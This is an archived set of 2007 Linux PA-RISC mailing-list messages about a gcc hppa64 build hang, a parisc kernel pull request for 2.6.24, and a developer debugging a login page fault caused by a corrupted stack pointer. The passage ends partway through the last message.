Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1196882621 11283 80.91.229.12 (5 Dec 2007 19:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 19:23:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,  debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Wed Dec 05 20:23:49 2007
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1IzzqW-0002Eq-OR
	for debian-hppa@m.gmane.org; Wed, 05 Dec 2007 20:23:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id AF29F13A5FFC; Wed,  5 Dec 2007 19:19:13 +0000 (UTC)
Old-Return-Path: <aurelien@aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-11.1 required=4.0 tests=ALL_TRUSTED,LDOSUBSCRIBER,
	LDO_WHITELIST,MAILTO_TO_SPAM_ADDR autolearn=failed version=3.2.3
X-Original-To: debian-hppa@lists.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from hall.aurel32.net (hall.aurel32.net [IPv6:2002:58bf:2613::1])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(No client certificate requested)
	by liszt.debian.org (Postfix) with ESMTP id 4D9A113A5FE4
	for <debian-hppa@lists.debian.org>; Wed,  5 Dec 2007 19:19:06 +0000 (UTC)
Original-Received: from volta.aurel32.net ([2002:52e8:2fb:1:216:d3ff:fe17:fd00])
	by hall.aurel32.net with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1Izzlp-0000sX-EM; Wed, 05 Dec 2007 20:18:57 +0100
Original-Received: from localhost.aurel32.net ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.68)
	(envelope-from <aurelien@aurel32.net>)
	id 1Izzm7-0006My-3r; Wed, 05 Dec 2007 20:19:15 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071008)
In-Reply-To: <20071205170219.GA3608@fattire.cabal.ca>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2007-10-04_01
Resent-Message-ID: <uN5qBTKQQ1B.A.SEF.xmvVHB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6048
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  5 Dec 2007 19:19:13 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5050 gmane.linux.ports.parisc:9
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/9>

Kyle McMartin a =E9crit :
> John et al,
>=20
> We're currently hitting a gcc bug on hppa64 with both gcc-4.1 and
> gcc-4.2. Symptoms are that a build of the ocfs2 module spins
> (apparently) forever, I'm leaving a copy building to see if it
> eventually makes forward progress.
>=20
> It's pretty easily reproduceable by building a modular kernel with the
> ocfs2 module enabled. Is there anything I can do to help narrow this
> down?
>=20
> make fs/ocfs2/ocfs2.ko:
> 	!SMP	SMP
> 32-bit	 y	 y
> 64-bit	 y	 fails
>=20
> The troublesome source file appears to be fs/ocfs2/alloc.o, the rest
> seem to build fine.

Please note that this bug has been reported sometimes ago in the
upstream bug tracker. See: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D=
31944

Cheers,
Aurelien

--=20
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net


--=20
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian=
.org



From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcc-4.2-hppa64 bug
Date: Wed, 5 Dec 2007 15:34:27 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200712052034.lB5KYRi7005651@hiauly1.hia.nrc.ca>
References: <4756F9B2.8050105@aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1196888000 30502 80.91.229.12 (5 Dec 2007 20:53:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Dec 2007 20:53:20 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 05 21:53:29 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J01FI-000617-Qv
	for glpp-linux-parisc@gmane.org; Wed, 05 Dec 2007 21:53:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751644AbXLEUxK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Dec 2007 15:53:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751499AbXLEUxK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Dec 2007 15:53:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3257 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751502AbXLEUxJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Dec 2007 15:53:09 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lB5KYSj3005653;
	Wed, 5 Dec 2007 15:34:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lB5KYRi7005651;
	Wed, 5 Dec 2007 15:34:27 -0500 (EST)
In-Reply-To: <4756F9B2.8050105@aurel32.net> from "Aurelien Jarno" at Dec 5, 2007 08:19:14 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:10 gmane.linux.debian.ports.hppa:5051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/10>

> Please note that this bug has been reported sometimes ago in the
> upstream bug tracker. See: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=31944

I marked this bug as confirmed and a regression.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git patches] parisc fixes for 2.6.24
Date: Thu, 6 Dec 2007 20:19:28 +0000
Lines: 86
Approved: news@gmane.org
Message-ID: <20071206201928.GA8778@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1196972413 7469 80.91.229.12 (6 Dec 2007 20:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Dec 2007 20:20:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 06 21:20:23 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J0NCo-00014j-UK
	for glpp-linux-parisc@gmane.org; Thu, 06 Dec 2007 21:20:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752054AbXLFUUF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Dec 2007 15:20:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752088AbXLFUUF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 6 Dec 2007 15:20:05 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:45698 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752054AbXLFUUD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Dec 2007 15:20:03 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/Tp9l9bCFrVGsKDEm61i1fbQ2UZTbiHIY@localhost [127.0.0.1])
	by hera.kernel.org (8.13.8/8.13.8) with ESMTP id lB6KJSBa005984
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 6 Dec 2007 20:19:28 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.13.8/8.13.1/Submit) id lB6KJS5T005983;
	Thu, 6 Dec 2007 20:19:28 GMT
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,BAYES_00
	autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:11
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/11>

The following changes since commit 09b56adc98e0f8a21644fcb4d20ad367c3fceb55:
  Linus Torvalds (1):
        Linux 2.6.24-rc4

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Kyle McMartin (5):
      Revert "[PARISC] import necessary bits of libgcc.a"
      [PARISC] timer interrupt should not be IRQ_DISABLED
      [PARISC] Update parisc-linux MAINTAINERS entries
      [PARISC] print more than one character at a time for pdc console
      [PARISC] lba_pci: pci_claim_resources disabled expansion roms

 MAINTAINERS                           |   10 +-
 arch/parisc/Makefile                  |    2 +-
 arch/parisc/kernel/firmware.c         |   88 +-
 arch/parisc/kernel/irq.c              |    2 +-
 arch/parisc/kernel/parisc_ksyms.c     |   22 +
 arch/parisc/kernel/pdc_cons.c         |   11 +-
 arch/parisc/lib/Makefile              |    2 +-
 arch/parisc/lib/libgcc/Makefile       |    4 -
 arch/parisc/lib/libgcc/__ashldi3.c    |   19 -
 arch/parisc/lib/libgcc/__ashrdi3.c    |   19 -
 arch/parisc/lib/libgcc/__clzsi2.c     |   30 -
 arch/parisc/lib/libgcc/__divdi3.c     |   23 -
 arch/parisc/lib/libgcc/__divsi3.c     |   23 -
 arch/parisc/lib/libgcc/__lshrdi3.c    |   19 -
 arch/parisc/lib/libgcc/__moddi3.c     |   23 -
 arch/parisc/lib/libgcc/__modsi3.c     |   23 -
 arch/parisc/lib/libgcc/__muldi3.c     |   22 -
 arch/parisc/lib/libgcc/__udivdi3.c    |    7 -
 arch/parisc/lib/libgcc/__udivmoddi4.c |   31 -
 arch/parisc/lib/libgcc/__udivmodsi4.c |   31 -
 arch/parisc/lib/libgcc/__udivsi3.c    |    7 -
 arch/parisc/lib/libgcc/__umoddi3.c    |   10 -
 arch/parisc/lib/libgcc/__umodsi3.c    |   10 -
 arch/parisc/lib/libgcc/__umulsidi3.c  |   46 -
 arch/parisc/lib/libgcc/libgcc.h       |   32 -
 arch/parisc/lib/milli/Makefile        |    1 -
 arch/parisc/lib/milli/divI.S          |  254 ----
 arch/parisc/lib/milli/divU.S          |  235 ----
 arch/parisc/lib/milli/div_const.S     |  682 -----------
 arch/parisc/lib/milli/dyncall.S       |   32 -
 arch/parisc/lib/milli/milli.S         | 2071 ---------------------------------
 arch/parisc/lib/milli/milli.h         |  165 ---
 arch/parisc/lib/milli/mulI.S          |  474 --------
 arch/parisc/lib/milli/remI.S          |  185 ---
 arch/parisc/lib/milli/remU.S          |  148 ---
 drivers/parisc/lba_pci.c              |   10 +-
 include/asm-parisc/pdc.h              |    3 +-
 37 files changed, 73 insertions(+), 4703 deletions(-)
 delete mode 100644 arch/parisc/lib/libgcc/Makefile
 delete mode 100644 arch/parisc/lib/libgcc/__ashldi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__ashrdi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__clzsi2.c
 delete mode 100644 arch/parisc/lib/libgcc/__divdi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__divsi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__lshrdi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__moddi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__modsi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__muldi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__udivdi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__udivmoddi4.c
 delete mode 100644 arch/parisc/lib/libgcc/__udivmodsi4.c
 delete mode 100644 arch/parisc/lib/libgcc/__udivsi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__umoddi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__umodsi3.c
 delete mode 100644 arch/parisc/lib/libgcc/__umulsidi3.c
 delete mode 100644 arch/parisc/lib/libgcc/libgcc.h
 delete mode 100644 arch/parisc/lib/milli/Makefile
 delete mode 100644 arch/parisc/lib/milli/divI.S
 delete mode 100644 arch/parisc/lib/milli/divU.S
 delete mode 100644 arch/parisc/lib/milli/div_const.S
 delete mode 100644 arch/parisc/lib/milli/dyncall.S
 delete mode 100644 arch/parisc/lib/milli/milli.S
 delete mode 100644 arch/parisc/lib/milli/milli.h
 delete mode 100644 arch/parisc/lib/milli/mulI.S
 delete mode 100644 arch/parisc/lib/milli/remI.S
 delete mode 100644 arch/parisc/lib/milli/remU.S
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: first post
Date: Sat, 15 Dec 2007 19:18:59 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200712160018.lBG0IxPR015488@hiauly1.hia.nrc.ca>
References: <200712032240.lB3MeY2o027337@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1197764364 12021 80.91.229.12 (16 Dec 2007 00:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Dec 2007 00:19:24 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 16 01:19:34 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J3hE8-0003cw-PJ
	for glpp-linux-parisc@gmane.org; Sun, 16 Dec 2007 01:19:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753547AbXLPATJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Dec 2007 19:19:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754244AbXLPATJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Dec 2007 19:19:09 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3821 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753555AbXLPATI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Dec 2007 19:19:08 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBG0J0Hk015489;
	Sat, 15 Dec 2007 19:19:05 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBG0IxPR015488;
	Sat, 15 Dec 2007 19:18:59 -0500 (EST)
In-Reply-To: <200712032240.lB3MeY2o027337@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 3, 2007 05:40:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:12
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/12>

> I'm giving your timer IRQ patch a whirl with 2.6.22.14.  Hoping it might
> fix the timeouts that randomly occur in the GCC testsuite and the ocassional
> problem with make.

I realized recently that I'm not seeing these timeouts in my UP
testsuite runs.  So, I'm now wondering if this could be due to the
lack of synchonization across CPUs of CR16.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Sun, 16 Dec 2007 13:29:38 -0500 (EST)
Lines: 151
Approved: news@gmane.org
Message-ID: <200712161829.lBGITcOV013611@hiauly1.hia.nrc.ca>
References: <20071206201928.GA8778@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1197829808 498 80.91.229.12 (16 Dec 2007 18:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Dec 2007 18:30:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@hera.kernel.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 16 19:30:20 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J3yFm-0007CE-AU
	for glpp-linux-parisc@gmane.org; Sun, 16 Dec 2007 19:30:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750819AbXLPS37 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Dec 2007 13:29:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751973AbXLPS36
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Dec 2007 13:29:58 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3844 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750819AbXLPS36 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Dec 2007 13:29:58 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBGITdFJ013613;
	Sun, 16 Dec 2007 13:29:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBGITcOV013611;
	Sun, 16 Dec 2007 13:29:38 -0500 (EST)
In-Reply-To: <20071206201928.GA8778@hera.kernel.org> from "Kyle McMartin" at Dec 6, 2007 08:19:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:13
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/13>

Kyle,

> are available in the git repository at:
> 
>   /pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

I built a SMP PA8800 configuration from this respository yesterday.
Aside from the timeout issue that I've mentioned before, I've experienced
erratic login behavior with this new kernel.  I see this in the debug log:

Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel: do_page_fault() pid=1460 command='login' type=15
address=0xff0ca4e0
Dec 16 11:28:39 mx3210 kernel: vm_start = 0xfaf7d000, vm_end = 0xfaf93000
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Dec 16 11:28:39 mx3210 kernel: PSW: 00000000000011001000000000001111 Not tainted
Dec 16 11:28:39 mx3210 kernel: r00-03  000000ff000c800f 0000000000000000 0000000
0405f3eeb 00000000faf80bc0
Dec 16 11:28:39 mx3210 kernel: r04-07  0000000040631d74 000000006e6f626f 0000000
0ffffffff 0000000000000000
Dec 16 11:28:39 mx3210 kernel: r08-11  0000000000000003 00000000faf80c88 0000000000000000 0000000040002130
Dec 16 11:28:39 mx3210 kernel: r12-15  0000000040634454 0000000000000000 00000000ffffffff 00000000ffffffff
Dec 16 11:28:39 mx3210 kernel: r16-19  000000006e6f626f 0000000040633574 0000000041111008 0000000040631d74
Dec 16 11:28:39 mx3210 kernel: r20-23  0000000004149814 0000000000000000 0000000004149814 0000000000004000
Dec 16 11:28:39 mx3210 kernel: r24-27  0000000000000018 000000004525a820 000000004525a820 0000000000019014
Dec 16 11:28:39 mx3210 kernel: r28-31  0000000004149840 000000000000636b 00000000ff0ca500 0000000041052605
Dec 16 11:28:39 mx3210 kernel: sr00-03  000000000f9f7000 0000000000000000 0000000000000000 000000000f9f7000
Dec 16 11:28:39 mx3210 kernel: sr04-07  000000000f9f7000 000000000f9f7000 000000000f9f7000 000000000f9f7000
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel:       VZOUICununcqcqcqcqcqcrmunTDVZOUI
Dec 16 11:28:39 mx3210 kernel: FPSR: 00001000000000000000000000000000
Dec 16 11:28:39 mx3210 kernel: FPER1: 00000000
Dec 16 11:28:39 mx3210 kernel: fr00-03  0800000000000000 0000000000000000 0000000000000000 0000000000000000
Dec 16 11:28:39 mx3210 kernel: fr04-07  00000000405cc000 00000000404b3780 00000000404a9780 00000000404a94c0
Dec 16 06:47:38 mx3210 identd[6240]: started
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel: do_page_fault() pid=1460 command='login' type=15
address=0xff0ca4e0
Dec 16 11:28:39 mx3210 kernel: vm_start = 0xfaf7d000, vm_end = 0xfaf93000
Dec 16 06:47:38 mx3210 identd[6240]: started
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel: do_page_fault() pid=1460 command='login' type=15 address=0xff0ca4e0
Dec 16 11:28:39 mx3210 kernel: vm_start = 0xfaf7d000, vm_end = 0xfaf93000
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Dec 16 11:28:39 mx3210 kernel: PSW: 00000000000011001000000000001111 Not tainted
Dec 16 11:28:39 mx3210 kernel: r00-03  000000ff000c800f 0000000000000000 0000000
0405f3eeb 00000000faf80bc0
Dec 16 11:28:39 mx3210 kernel: r04-07  0000000040631d74 000000006e6f626f 0000000
0ffffffff 0000000000000000
Dec 16 11:28:39 mx3210 kernel: r08-11  0000000000000003 00000000faf80c88 0000000000000000 0000000040002130
Dec 16 11:28:39 mx3210 kernel: r12-15  0000000040634454 0000000000000000 00000000ffffffff 00000000ffffffff
Dec 16 11:28:39 mx3210 kernel: r16-19  000000006e6f626f 0000000040633574 0000000041111008 0000000040631d74
Dec 16 11:28:39 mx3210 kernel: r20-23  0000000004149814 0000000000000000 0000000004149814 0000000000004000
Dec 16 11:28:39 mx3210 kernel: r24-27  0000000000000018 000000004525a820 000000004525a820 0000000000019014
Dec 16 11:28:39 mx3210 kernel: r28-31  0000000004149840 000000000000636b 00000000ff0ca500 0000000041052605
Dec 16 11:28:39 mx3210 kernel: sr00-03  000000000f9f7000 0000000000000000 0000000000000000 000000000f9f7000
Dec 16 11:28:39 mx3210 kernel: sr04-07  000000000f9f7000 000000000f9f7000 000000000f9f7000 000000000f9f7000
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel:       VZOUICununcqcqcqcqcqcrmunTDVZOUI
Dec 16 11:28:39 mx3210 kernel: FPSR: 00001000000000000000000000000000
Dec 16 11:28:39 mx3210 kernel: FPER1: 00000000
Dec 16 11:28:39 mx3210 kernel: fr00-03  0800000000000000 0000000000000000 0000000000000000 0000000000000000
Dec 16 11:28:39 mx3210 kernel: fr04-07  00000000405cc000 00000000404b3780 00000000404a9780 00000000404a94c0
Dec 16 11:28:39 mx3210 kernel: fr08-11  00000000401b195c 0000000000000001 00000000405b9540 0000000000000802
Dec 16 11:28:39 mx3210 kernel: fr12-15  0000000000000001 00000000404a94c0 000000007fc40108 00000000405f3b40
Dec 16 11:28:39 mx3210 kernel: fr16-19  00000000405ef528 fffffffffffff000 0000000000000000 0000000000000802
Dec 16 11:28:39 mx3210 kernel: fr20-23  000000007f4fa000 000000007fc403a8 0000000000000000 00000000cccccccd
Dec 16 11:28:39 mx3210 kernel: fr24-27  000000a355555556 3fe0000000000000 412e848000000000 00000000001e8480
Dec 16 11:28:39 mx3210 kernel: fr28-31  0000000000000802 000000007f4fa000 000000007fc403a8 00000000405b9540
Dec 16 11:28:39 mx3210 kernel:
Dec 16 11:28:39 mx3210 kernel: IASQ: 000000000f9f7000 000000000f9f7000 IAOQ: 00000000405f428b 00000000405f422b
Dec 16 11:28:39 mx3210 kernel:  IIR: 6bd33fc1    ISR: 000000000f9f7000  IOR: 00000000ff0ca4e0
Dec 16 11:28:39 mx3210 kernel:  CPU:        1   CR30: 000000007e380000 CR31: fffffff0f0e098e0
Dec 16 11:28:39 mx3210 kernel:  ORIG_R28: 0000000000000000
Dec 16 11:28:39 mx3210 kernel:  IAOQ[0]: per_cpu__runqueues+0x748/0x14c0
Dec 16 11:28:39 mx3210 kernel:  IAOQ[1]: per_cpu__runqueues+0x6e8/0x14c0
Dec 16 11:28:39 mx3210 kernel:  RP(r2): per_cpu__runqueues+0x3a8/0x14c0

dave@hiauly6:~$ disasm 0x6bd33fc1
   0:   6b d3 3f c1     stw r19,-20(sp)

This insn saves the PIC register.  Typically, this save occurs in
a function's prologue after the new frame is allocated.

The stack pointer (0xff0ca500) is clearly bad:

(gdb) p 0xff0ca500 - 0xfaf7d000
$1 = 68474112 (0x414d500)
(gdb) p 0xff0ca4e0 - 0xfaf7d000
$2 = 68474080
(gdb) p 0xfaf93000 - 0xfaf7d000
$3 = 90112

$ ulimit -s
16384 (kbytes)

It's not clear how the stack pointer got corrupted but it is correctly
rounded.  I haven't seen this problem with my 2.6.22 builds.

I think the following code is the problem.  We seem to just have
done an alloca:

(gdb) disass 0x405f4258 0x405f4298
Dump of assembler code from 0x405f4258 to 0x405f4298:
